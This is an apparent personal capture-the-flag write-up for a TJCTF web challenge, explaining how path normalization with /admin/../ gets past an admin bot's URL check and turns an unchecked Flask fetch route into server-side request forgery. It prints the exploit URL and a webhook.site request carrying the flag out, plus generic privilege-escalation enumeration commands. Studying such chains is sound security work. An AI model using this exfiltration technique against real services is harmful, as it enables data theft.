← Back to Writeups
HTBN/AWeb

chained

XESXOR8/23/20264 min read
#web#htb#n/a

chained

Platform: Tjctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-15 | Status: Solved Techniques: path_normalization_bypass, ssrf_exfiltration, bot_url_constraint_bypass

Summary

Task: Flask web challenge with a custom admin bot, a localhost-only admin endpoint, and a URL fetch feature. Solution: Abuse /admin/../ path normalization to satisfy the bot regex while reaching /?url=..., then let the server-side request leak the appended flag to a webhook.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: tjctf | ID: 20260515_tjctf_chained
  • Tags: flask, ssrf, webhook, admin_bot, csp, path_normalization, localhost_only
  • Indicators: admin bot validates the raw URL string with a prefix regex, server behavior differs between GET and POST for the same parameter, localhost-only endpoint reflects attacker-controlled input, CSP blocks inline script execution, browser path normalization can change the effective route after validation
  • Source: 20260515_tjctf_chained.md

Foothold

Vulnerability / Misconfiguration

  1. Path_normalization_bypass
  2. Ssrf_exfiltration
  3. Bot_url_constraint_bypass
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • path_normalization_bypass
  • ssrf_exfiltration
  • bot_url_constraint_bypass
  • Tags: flask, ssrf, webhook, admin_bot, csp, path_normalization, localhost_only

Original Writeup

<details><summary>Click to expand original content</summary>

chained — TJCTF 2026

Description

i designed my own admin bot! and i included an admin page that should be super duper secure...

English summary: We are given a Flask site on port 5000, an external admin bot endpoint, and source files for index.html, admin-bot.js, and app.py. The goal is to make the bot leak its flag despite a strict /admin/ URL check and a localhost-only admin page.

Analysis

The challenge works because several individually small bugs compose into one usable chain.

1. Bot-side URL restriction

The bot code only accepts URLs matching:

urlRegex: /^https:\/\/chained\.tjc\.tf\/admin\//

After validating the submitted URL, it visits:

url + flag

So the bot does not put the flag in a header or cookie. It literally concatenates the flag onto the submitted URL before loading it.

2. Flask route mismatch

The Flask app has different behavior for POST / and GET /:

  • POST / checks isSafe(url) with a blacklist before fetching.
  • GET /?url=... does not apply that blacklist.

That means the SSRF sink is reachable safely through a GET request if we can get the bot onto the index route.

3. Localhost-only /admin

The /admin endpoint only returns attacker-controlled JavaScript when:

request.remote_addr == '127.0.0.1'

At first glance this looks ideal for bot XSS, since the bot visits from localhost.

4. CSP kills the obvious XSS

The main page uses a CSP with script-src 'self', so reflected payloads such as /admin?q=<script>... appear in the response but do not execute. That makes direct XSS a dead end.

5. The actual bypass: /admin/../

The key idea is to exploit the gap between raw-string validation and server-side path normalization.

This URL passes the bot regex because the raw string starts with /admin/:

https://chained.tjc.tf/admin/../?url=https://webhook.site/eee24aa6-c305-4d6d-92e3-619066f9386c/

But once the browser resolves the path, /admin/../ normalizes to /, so the request is effectively sent to:

https://chained.tjc.tf/?url=https://webhook.site/eee24aa6-c305-4d6d-92e3-619066f9386c/

That reaches the index route, not /admin, and triggers the unchecked GET-based fetch behavior.

Exploit Chain

  1. Submit a URL beginning with https://chained.tjc.tf/admin/ so the admin bot accepts it.
  2. Use /admin/../ so the browser normalizes the final path to /.
  3. Put our webhook in the url= query parameter.
  4. The bot appends the flag to the submitted URL before visiting it.
  5. After normalization, Flask receives a request like:
/?url=https://webhook.site/eee24aa6-c305-4d6d-92e3-619066f9386c/tjctf{...}
  1. The index route performs requests.get(...) on that full attacker-controlled URL.
  2. Webhook logs reveal the outgoing request path, including the URL-encoded flag.

Solution

The exact exploit URL submitted to the bot was:

https://chained.tjc.tf/admin/../?url=https://webhook.site/eee24aa6-c305-4d6d-92e3-619066f9386c/

Because the bot visits url + flag, the browser ultimately caused the Flask app to make a server-side request to the webhook with the flag appended to the path.

The webhook confirmed the exfiltration with this request:

https://webhook.site/eee24aa6-c305-4d6d-92e3-619066f9386c/tjctf%7BREDACTED%7D

Brief dead ends

  • The admin-bot page used reCAPTCHA, so submission could not be fully automated and had to be solved manually.
  • Direct XSS through /admin?q=<script>... looked promising, but CSP blocked inline script execution.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR